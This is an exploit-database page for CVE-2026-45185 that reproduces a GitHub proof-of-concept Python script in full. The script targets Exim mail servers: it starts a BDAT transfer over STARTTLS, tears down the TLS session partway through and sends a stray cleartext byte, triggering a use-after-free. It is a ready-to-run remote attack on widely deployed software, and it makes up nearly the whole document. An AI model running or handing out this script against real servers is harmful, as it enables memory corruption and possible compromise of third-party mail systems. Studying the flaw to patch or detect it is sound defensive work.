Exploit database

GH-ed18339c8ea85f6135a658320fb8b082

0init/cve-2026-45185

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-45185

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
0init/cve-2026-45185Revision b9696cc4aa37

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Python · 1,810 bytes
#!/usr/bin/env python3
# CVE-2026-45185 Dead.Letter — UAF trigger
# Exim 4.97–4.99.2 Ubuntu (GnuTLS) + CHUNKING
# stdlib only — no pip required
# Usage: python3 poc.py <host> <port> <rcpt@domain>

import socket, ssl, time, sys

def trigger(host, port, rcpt):
    s = socket.create_connection((host, port), timeout=10)

    def r(sock):
        d = b""
        while not d.endswith(b"\r\n"):
            d += sock.recv(4096)
        return d

    r(s)                                     # banner
    s.sendall(b"EHLO poc.local\r\n"); r(s)
    s.sendall(b"STARTTLS\r\n");       r(s)

    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode    = ssl.CERT_NONE
    tls = ctx.wrap_socket(s, server_hostname=host)

    tls.sendall(b"EHLO poc.local\r\n");              tls.recv(4096)
    tls.sendall(b"MAIL FROM:<[email protected]>\r\n");         tls.recv(4096)
    tls.sendall(f"RCPT TO:<{rcpt}>\r\n".encode());   tls.recv(4096)
    tls.sendall(b"BDAT 200\r\n")             # enter BDAT — tell server to expect 200 bytes
    tls.sendall(b"A" * 20)                    # send 20 of them — server enters body-read loop
    time.sleep(0.08)

    # send TLS close_notify while server is mid-BDAT read
    raw = tls.unwrap()                        # sends close_notify → gnutls_deinit frees session
    time.sleep(0.15)
    raw.sendall(b"Z")                         # cleartext byte — triggers bdat_pop → UAF

    print("[+] trigger sent — server should still be alive (UAF is silent)")
    print("    if Exim crashed, something has changed in tcache behavior")
    raw.close()

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("usage: poc.py <host> <port> <rcpt@domain>")
        sys.exit(1)
    trigger(sys.argv[1], int(sys.argv[2]), sys.argv[3])